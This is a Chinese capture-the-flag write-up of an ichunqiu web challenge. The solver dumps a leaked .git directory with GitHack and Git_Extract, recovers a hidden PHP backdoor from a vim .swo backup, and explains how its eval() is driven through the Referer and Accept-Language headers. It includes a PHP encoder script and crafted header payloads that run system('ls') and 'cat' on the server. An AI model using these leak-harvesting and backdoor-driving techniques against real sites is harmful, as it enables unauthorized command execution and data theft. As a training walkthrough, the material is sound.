点开是道没有任何窗口的题，右键查看源码也没上面东西，抓包试试，也没找到什么提示性的信息，根据提示去看看敏感文件泄露是什么吧
这里找到了篇敏感文件泄露的介绍及利用方法：https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html
然后这里的使用方法就是在连接后面补充.git;.hg.......最后发现.git的报错是禁止访问，而其他的则是未找到，所以这里是git敏感文件泄露，而git文件是不能直接看到的，我们需要下载GitHack来下载利用泄露文件，这里附上下载链接：https://github.com/lijiejie/GitHack
下载后的使用方法也很简单，作用也就下载git敏感文件泄露。这里我们打开cmd，在cmd中打开GitHack的文件夹
再输入 python GitHack.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/ 来下载网页上泄露的git，
不过这里涉及到.git文件的历史文件，也就是修改之前的文件，所以GitHack需要更麻烦的修改，所以这里使用Git_Extract，是个dalao自己写的，很方便，这里附上下载链接https://github.com/gakki429/Git_Extract，下载后使用方法也很简单，先通过cmd指令打开Git_Extract文件夹
cd C:\Users\七星\Desktop\tools\Git_Extract-master
然后python git_extract.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/获取.git泄露文件
然后获取到.git及历史
全部打开一一检查发现了提示信息
所以我们根据提示搜索b4ckdo0r.php，界面上也没什么信息，还是同样的，查看源码，抓包没什么信息，可能还是敏感文件泄露，继续测试。。。。无果，看了下wp才知道这里是.swo备份文件泄露，具体的利用方法是直接url：http://037a02c1c0e34ad1b7ce0c816843af4837a413b838964a33.changame.ichunqiu.com/Challenges/.b4ckdo0r.php.swo访问就行了，会让我们下载备份文件，我们就先下载下来试试
下载下来后是需要我们恢复的swo文件，我们将其放在kali上进行vim的复原（将本地文件放入kali需要VM Tools，具体安装方法再本博客搜如何在kali Linux上安装VMware Tools）
复原步骤：
- 将下载好的swo文件改后缀为swp
将swp文件发送到kali上
在kali的终端上打开swp文件的目录
root@kali:~# cd /root/桌面
4.修复swp文件
root@kali:~/桌面# vim -r b4ckdo0r.php.swp
然后输入一次回车就可以得到修复好的swp文件了
这么密密麻麻的是混淆后的代码，我们将其复制到本地，在最后一行加入
echo ($L);
然后本地运行
但是发现这里折叠了，少了很多东西，一看源码才知道，这里存在<>,被html当标签处理了
所以这里直接查看源码，复制下来，整理一下,得到网页web源码了
然后分析源码，在43行找到了个可利用的eval()函数
再来解读下代码，
1.首先定义赋值两个参数
2.然后定义了一个函数，函数的功能是传入两个变量然后取其长度，将其变量与长度串联起来，输出串联后的变量和长度
3.再定义三个变量，其中rr是头部url，ra是头部传入的Language值
4.然后一个判断，如果rr和ra都存在就执行不存在就没了，所以这里rr和ra是必要传入的
5.if里面先定义了一个变量u，让其解析传入的url
6.把查询到的url中的query值传入变量中
7.让变量q等于query的数组
8.执行一个全局正则表达式的匹配
9.然后如果变量q和m都存在则又执行新的内容，否则什么都没有，所以这两个值一定是要有的
10.将请求的session值传入，保存到变量s中，然后又定义了ss和sl两个变量并赋值
11.定义一个变量i，让其等于m数组的第一个值并联第二个值
12.将i的值与kh的值并联，md5加密，然后返回前三位的值，将其给h
13.将i的值与kf的值并联，md5加密，然后返回前三位的值，将其给f
14.然后让变量p不断赋值，使其等于$q[$m[2][$z]]（z从1一直变到m的上线）的并联
15.然后一个if判断，如果变量p中没有和变量h相同的的字符串就$s[$i]为空，p等于p的前三位
16.然后检查变量i中有没有s变量字符串，有的话就s[$i]与p并联，让变量e等于变量f在变量s[$i]中首次出现的位置，如果存在就继续执行
17.变量k的值等于变量kh与kf的字符串并联
18.打开web缓冲
19.然后是可利用的eval函数
20.把缓冲区数据传给变量o
21.清空缓冲区
22.然后给变量o压缩，进行x函数（最开始定义的函数），在base64解码，将其值给变量d
23.输出变量d
24.结束session
具体代码含义及利用方法请参考：https://www.cnblogs.com/sijidou/p/9827720.html
所以这里先利用eval（）函数执行一次system(‘ls’)指令，而ls是要被加密解密复杂运算的，所以我们这里就先对他反向加密解密
附上一个dalao的脚本
<?php
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0; $i<$l;) {
for($j=0; ($j<$c&&$i<$l); $j++,$i++) {
$o.= $t{$i} ^ $k{$j};
}
}
return $o;
}
function get_answer($str){
$str = base64_decode($str);
$str = x($str, '4f7f28d7');
$str = gzuncompress($str);
echo $str . "<br>";
}
function input($cmd){
$str = 'system("' . $cmd . '");';
$t1 = gzcompress($str);
echo '$t1 = ' . $t1 . "<br>";
$t2 = x($t1, '4f7f28d7');
echo '$t2 = ' . $t2 . "<br>";
$t3 = base64_encode($t2);
echo '$t3 = ' . $t3 . "<br>";
return $t3;
}
$ra='zh-CN,zh;q=0.0';
input('ls');//get_answer(''); ?>
本地运行，得到ls的反向加密解密
然后对http://70b22a768b3e4610b5301bee9da8a9e449d6cccf2ba648e1.changame.ichunqiu.com/Challenges/b4ckdo0r.php进行抓包，修改Accept-Language的值，手动传入Referer的值来达到我们利用eval（）函数执行system(‘ls’)的目的，然后运行一下得到返回值
Accept-Language: zh-CN,zh;q=0.0
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
然后将返回值填入刚刚的脚本中进行解码
得到解码后的字符串
很明显，这里显示的this_i5_flag.php是网站根目录下的文件，我们访问试试
。。。。。好吧，想不通
看来还得通过利用eval()函数来执行system()函数进行访问
这里需要用到system(‘cat this_i5_flag.php’)，所以我们就把cat this_i5_flag.php放到刚刚的脚本中进行反加密解密
然后之前的抓包中修改Referer
Referer:http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
运行一下得到返回值，再次将返回值复制到脚本然后本地运行，这里运行的结果是没有显示的，因为他在源码中是被注释的，我们右键本地运行的网页查看源码即可得到flag
